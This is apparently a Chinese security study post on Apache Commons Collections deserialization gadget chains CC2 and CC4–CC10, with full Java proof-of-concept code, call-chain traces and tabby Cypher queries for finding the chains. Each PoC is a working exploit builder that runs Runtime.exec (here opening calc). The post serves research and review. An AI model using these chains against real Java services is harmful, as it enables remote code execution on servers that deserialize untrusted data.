写在前面
这里收集一些CC链与tabby相关的POC、查询规则以及分析,顺便复习一下经典CC
CC2
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| public class cc2 { public static void main(String[] args) throws Exception { String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass poc = classPool.makeClass("POC"); poc.setSuperclass(classPool.get(AbstractTranslet)); poc.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilCode = poc.toBytecode(); Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field = templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl, new byte[][]{evilCode});
Field field1 = templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl, "whatever");
InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(2);
Field field2 = queue.getClass().getDeclaredField("comparator"); field2.setAccessible(true); field2.set(queue, comparator);
Field field3 = queue.getClass().getDeclaredField("queue"); field3.setAccessible(true); field3.set(queue, new Object[]{templatesImpl, templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc.out")); outputStream.writeObject(queue); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc.out")); inputStream.readObject();
} }
|
调用链如下
1 2 3 4 5 6
| ObjectInputStream.readObject()->PriorityQueue.readObject() ->PriorityQueue.heapify ->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator ->TransformingComparator.compare() ->InvokerTransformer.transform()->TemplatesImpl.getTransletInstance ->(动态创建的类)cc2.newInstance()->RCE
|
tabby查询
1
| match (m1:Method {SIGNATURE:"<java.util.PriorityQueue: void readObject(java.io.ObjectInputStream)>"})-[:CALL ]->(m2:Method {NAME:"heapify"})-[:CALL ]->(m3)-[:CALL]->(m4:Method {NAME:"siftDownUsingComparator"})-[:CALL]->(m5)-[:ALIAS*]-(m6 {SIGNATURE:"<org.apache.commons.collections4.comparators.TransformingComparator: int compare(java.lang.Object,java.lang.Object)>"})-[:CALL]->(m7)-[:ALIAS*]-(m8:Method)-[:CALL]->(m9:Method {IS_SINK:true}) return *
|
source点
利用的比较器实现类org.apache.commons.collections4(?).comparators.TransformingComparator#compare()
CC4
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| public static void main(String[] args) throws Exception{ String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload = classPool.makeClass("CC4"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode(); Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field = templates.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templates, new byte[][] {bytes});
Field field1 = templates.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templates, "test");
Transformer[] trans = { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates} ) };
ChainedTransformer chain = new ChainedTransformer(trans); TransformingComparator transCom = new TransformingComparator(chain); PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1);
Field field2 = PriorityQueue.class.getDeclaredField("comparator"); field2.setAccessible(true); field2.set(queue, transCom);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc1.out")); outputStream.writeObject(queue); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc1.out")); inputStream.readObject();
}
|
调用链如下
1 2 3 4 5 6
| getTransletInstancePriorityQueue.readObject->PriorityQueue.heapify ->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator ->TransformingComparator.compare->ChainedTransformer.transform ->TrAXFilter(构造方法)->TemplatesImpl.newTransformer ->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses ->(动态创建的类)cc4.newInstance()->Runtime.exec()
|
source点与CC2相同;sink点如下,newInstance触发TrAXFilter
构造方法,后面与CC2一致
tabby查询(jdk8u71未出 CC4依赖)
1 2
| //cc4 match (m1:Method {SIGNATURE:"<java.util.PriorityQueue: void readObject(java.io.ObjectInputStream)>"})-[:CALL ]->(m2:Method {NAME:"heapify"})-[:CALL ]->(m3)-[:CALL ]->(m4:Method {NAME:"siftDownUsingComparator"})-[:CALL ]->(m5)-[:ALIAS*]-(m6 {SIGNATURE:"<org.apache.commons.collections4.comparators.TransformingComparator: int compare(java.lang.Object,java.lang.Object)>"})-[:CALL ]->(m7)-[:ALIAS*]-(m8:Method)-[:CALL ]->(m9:Method {NAME:"newInstance"}) return *
|
CC5
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
|
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class cc5 { public static void main(String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }); HashMap innerMap = new HashMap(); Map map = LazyMap.decorate(innerMap, chain);
TiedMapEntry tiedmap = new TiedMapEntry(map, "123"); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc, tiedmap);
try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc3.out")); outputStream.writeObject(poc); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc3.out")); inputStream.readObject(); }catch (Exception e) { e.printStackTrace(); }
} }
|
调用链如下
1 2 3 4 5 6 7
| BadAttributeValueExpException.readObject->TiedMapEntry.toString ->LazyMap.get->ChainedTransformer.transform ->ConstantTransformer.transform->InvokerTransformer.transform ->Method.invoke->Class.getMethod ->InvokerTransformer.transform->Method.invoke ->Runtime.getRuntime-> InvokerTransformer.transform ->Method.invoke->Runtime.exec
|
tabby查询 (查不出)
1 2
| // cc5 match path=(m1:Method {SIGNATURE:"<javax.management.BadAttributeValueExpException: void readObject(java.io.ObjectInputStream)>"})-[:CALL]->(m2:Method {NAME:"toString"})-[:ALIAS*]-(m3:Method {SIGNATURE:"<org.apache.commons.collections.keyvalue.TiedMapEntry: java.lang.String toString()>"})-[:CALL]->(m4:Method {NAME:"getValue"})-[:CALL]->(m5:Method {NAME:"get"})-[:ALIAS*1..2]-(m6:Method {NAME:"get"})-[:CALL]->(m7:Method {NAME:"transform"})-[:ALIAS*]-(m8:Method)-[:CALL]->(m9:Method {IS_SINK:true}) return path
|
source点:
sink点:与CC1和CC2的触发方式一致,反射调用方法
CC6
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class cc6 { public static void main(String[] args) throws Exception { ChainedTransformer fake = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
HashMap map = new HashMap(); Map innerMap = LazyMap.decorate(map, fake); TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap, "key");
HashSet hashSet = new HashSet(1); hashSet.add(tiedMapEntry); innerMap.remove("key");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(fake, transformers);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc4.out")); outputStream.writeObject(hashSet); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc4.out")); inputStream.readObject();
} }
|
调用链如下
1 2 3 4 5
| HashSet.readObject->HashMap.put ->HashMap.hash->TiedMapEntry.hashCode ->TiedMapEntry.getValue->LazyMap.get ->ChainedTransformer.transform->InvokerTransformer.transform ->Runtime.exec
|
tabby查询
1
| match (m1:Method {SIGNATURE:"<java.util.HashSet: void readObject(java.io.ObjectInputStream)>"})-[:CALL]->(m2:Method {NAME:"put"})-[:CALL]->(m3:Method {NAME:"hash"})-[:CALL]->(t)-[:ALIAS*1..3]-(m4 {SIGNATURE:"<org.apache.commons.collections.keyvalue.TiedMapEntry: int hashCode()>"})-[:CALL]->(m5:Method {NAME:"getValue"})-[:CALL]->(m6)-[:ALIAS*1..3]-(m7:Method {SIGNATURE:"<org.apache.commons.collections.map.LazyMap: java.lang.Object get(java.lang.Object)>"})-[:CALL]->(m8)-[:ALIAS*1..3]->(m9:Method {NAME:"transform"})-[:CALL]->(m10:Method {IS_SINK:true}) return *
|
CC7
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| public static void main(String[] args) throws Exception { ChainedTransformer fake = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap();
Map map1 = LazyMap.decorate(hashMap1, fake); map1.put("1", 1);
Map map2 = LazyMap.decorate(hashMap2, fake); map2.put("2", 2);
Hashtable hashtable = new Hashtable(); hashtable.put(map1, 1); hashtable.put(map2, 2);
Field field2 = ChainedTransformer.class.getDeclaredField("iTransformers"); field2.setAccessible(true); field2.set(fake, transformers);
map2.remove("1");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashtable); byteArrayOutputStream.flush(); byteArrayOutputStream.close(); byte[] bytes = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject();
}
|
调用链如下
1 2 3 4 5 6 7 8
| ->Hashtable.readObject() ->Hashtable.reconstitutionPut() ->AbstractMapDecorator.equals ->AbstractMap.equals() ->LazyMap.get.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform()
|
关键触发结点:Hashtable#reconstitutionPut()
tabby查询
1 2
| //cc7 match path=(m1:Method {SIGNATURE:"<java.util.Hashtable: void readObject(java.io.ObjectInputStream)>"})-[:CALL ]->(m2:Method {NAME:"reconstitutionPut"})-[:CALL ]->(m3:Method {NAME:"equals"})-[:ALIAS*..2]-(m4:Method {SIGNATURE:"<java.util.AbstractMap: boolean equals(java.lang.Object)>"})-[:CALL ]->(m5:Method {NAME:"get"})-[:ALIAS*1..2]-(m6:Method {NAME:"get"})-[:CALL]->(m7:Method {NAME:"transform"})-[:ALIAS*]-(m8:Method)-[:CALL]->(m9:Method {IS_SINK:true}) return path
|
CC8
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| public static void main(String[] args) throws Exception{ String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass poc = classPool.makeClass("POC"); poc.setSuperclass(classPool.get(AbstractTranslet)); poc.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] evilCode = poc.toBytecode(); Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field = templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl, new byte[][]{evilCode});
Field field1 = templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl, "whatever");
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comp = new TransformingComparator(transformer);
TreeBag tree = new TreeBag(comp); tree.add(templatesImpl);
Field field2 = InvokerTransformer.class.getDeclaredField("iMethodName"); field2.setAccessible(true); field2.set(transformer, "newTransformer");
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc5.out")); outputStream.writeObject(tree); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc5.out")); inputStream.readObject();
}
|
source点:org.apache.commons.collections4.bag#readObject()
调用AbstractMapBag#doReadObject()
,反序列化TemplatesImpl类对象,并put进TreeMap当中
put中调用了compare,最终会调用设置的比较器类属性TransformingComparator#compare()
,之后的调用链与CC2一样
调用链如下
1 2 3 4 5 6 7
| TreeBag.readObject() -> AbstractMapBag.doReadObject -> TreeMap.put() -> TreeMap.compare() -> TransformingComparator.compare() ->TransformingComparator.compare() ->InvokerTransformer.transform()->TemplatesImpl.getTransletInstance ->(动态创建的类)cc2.newInstance()->RCE
|
tabby查询
1 2
| //cc8 match path=(m1:Method {SIGNATURE:"<org.apache.commons.collections4.bag.TreeBag: void readObject(java.io.ObjectInputStream)>"})-[:CALL ]->(m2:Method {NAME:"doReadObject"})-[:CALL ]->(m3:Method {NAME:"put"})-[:ALIAS*1..4]-(m4:Method)-[:CALL ]->(m5:Method {NAME:"compare"})-[:CALL ]->(m6:Method)-[:ALIAS*]-(m7:Method {SIGNATURE:"<org.apache.commons.collections4.comparators.TransformingComparator: int compare(java.lang.Object,java.lang.Object)>"})-[:CALL ]->(m8)-[:ALIAS*]-(m9:Method)-[:CALL*..5 ]->(m10:Method {IS_SINK:true}) return path
|
CC9
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| public static void main(String[] args) throws Exception{ ChainedTransformer fake = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
HashMap map = new HashMap(); Map innerMap = LazyMap.decorate(map, fake); TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap, "foo");
Hashtable hashtable = new Hashtable(); hashtable.put("foo", 1);
Field field = Hashtable.class.getDeclaredField("table"); field.setAccessible(true); Object[] table = (Object[]) field.get(hashtable); Object entry1 = table[0]; if(entry1 == null) { entry1 = table[1]; } Field key = entry1.getClass().getDeclaredField("key"); key.setAccessible(true);
key.set(entry1, tiedMapEntry);
Field field2 = ChainedTransformer.class.getDeclaredField("iTransformers"); field2.setAccessible(true); field2.set(fake, transformers);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc4.out")); outputStream.writeObject(hashtable); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc4.out")); inputStream.readObject(); }
|
区别:Hashtable#reconstitutionPut
调用链如下
1 2 3 4 5 6 7
| Hashtable.readObject() -> Hashtable.reconstitutionPut -> key.hashCode() => TiedMapEntry.hashCode() -> TiedMapEntry.getValue -> TiedMapEntry.map.get() => LazyMap.get() -> factory.transform() => ChainedTransformer.transform() -> 前文构造的Runtime.getRuntime().exec()
|
tabby查询
1 2
| // CC9 match (m1:Method {SIGNATURE:"<java.util.Hashtable: void readObject(java.io.ObjectInputStream)>"})-[:CALL]->(m2:Method {NAME:"reconstitutionPut"})-[:CALL]->(m3)-[:ALIAS*1..3]-(m4 {SIGNATURE:"<org.apache.commons.collections.keyvalue.TiedMapEntry: int hashCode()>"})-[:CALL]->(m5:Method {NAME:"getValue"})-[:CALL]->(m6)-[:ALIAS*1..3]-(m7:Method {SIGNATURE:"<org.apache.commons.collections.map.LazyMap: java.lang.Object get(java.lang.Object)>"})-[:CALL]->(m8)-[:ALIAS*1..3]->(m9:Method {NAME:"transform"})-[:CALL]->(m10:Method {IS_SINK:true}) return *
|
调用模板
1 2
| //cc9 match path=(m1:Method {SIGNATURE:"<java.util.Hashtable: void readObject(java.io.ObjectInputStream)>"})-[:CALL]->(m2:Method {NAME:"reconstitutionPut"})-[:CALL]->(m3:Method {NAME:"hashCode"})-[:ALIAS*]-(m4:Method {SIGNATURE:"<org.apache.commons.collections.keyvalue.TiedMapEntry: int hashCode()>"})-[:CALL]->(m5:Method {NAME:"getValue"})-[:CALL]->(m6:Method {NAME:"get"})-[:ALIAS*1..2]-(m7:Method {NAME:"get"})-[:CALL]->(m8:Method {NAME:"transform"})-[:ALIAS*]-(m9:Method)-[:CALL]->(m10:Method {IS_SINK:true}) return path
|
CC10
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| public static void main(String[] args) throws Exception{ String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass poc = classPool.makeClass("POC"); poc.setSuperclass(classPool.get(AbstractTranslet)); poc.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] evilCode = poc.toBytecode(); Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field = templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl, new byte[][]{evilCode});
Field field1 = templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl, "whatever"); final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); HashMap innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templatesImpl);
HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap innimpl = null; innimpl = (HashMap) f.get(map);
Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } f2.setAccessible(true); Object[] array = new Object[0]; array = (Object[]) f2.get(innimpl); Object node = array[0];
if(node == null) { node = array[1]; }
Field keyField = null; try { keyField = node.getClass().getDeclaredField("key"); }catch (Exception e) { Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node, tiedMapEntry);
Field field2 = InvokerTransformer.class.getDeclaredField("iMethodName"); field2.setAccessible(true); field2.set(transformer, "newTransformer");
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("poc4.out")); outputStream.writeObject(map); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("poc4.out")); inputStream.readObject(); }
|
调用链如下,与CC6一样,只是sink点利用方式不同
1 2 3 4 5 6 7 8 9 10
| java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() InvokerTransformer.transform() java.lang.reflect.Method.invoke() ... templates gadgets ... java.lang.Runtime.exec()
|
tabby查询
1 2 3 4 5
| //cc10 match (source:Method {SIGNATURE:"<java.util.HashSet: void readObject(java.io.ObjectInputStream)>"})-[:CALL]->(m2:Method) where (m2.NAME in ["defaultReadObject","readFloat","readObject"])=false match (sink:Method {IS_SINK:true,NAME:"invoke"})<-[:CALL]-(m1:Method {NAME:"transform"}) call apoc.algo.allSimplePaths(m1, m2, "<CALL|ALIAS", 10) yield path return * limit 20
|
1 2
| //cc10 match path=(source:Method {SIGNATURE:"<java.util.HashSet: void readObject(java.io.ObjectInputStream)>"})-[:CALL]->(m2:Method {SIGNATURE: "<java.util.HashMap: java.lang.Object put(java.lang.Object,java.lang.Object)>"})-[:CALL]->(m3:Method {NAME:"hash"})-[:CALL]->(m4:Method {NAME:"hashCode"})-[:ALIAS*1..3]-(m5:Method {SIGNATURE:"<org.apache.commons.collections.keyvalue.TiedMapEntry: int hashCode()>"})-[:CALL]->(m6:Method {NAME:"getValue"})-[:CALL]->(m7:Method {NAME:"get"})-[:ALIAS*1..2]-(m8:Method {NAME:"get"})-[:CALL]->(m9:Method {NAME:"transform"})-[:ALIAS*]-(m10:Method)-[:CALL]->(m11:Method {IS_SINK:true}) return path
|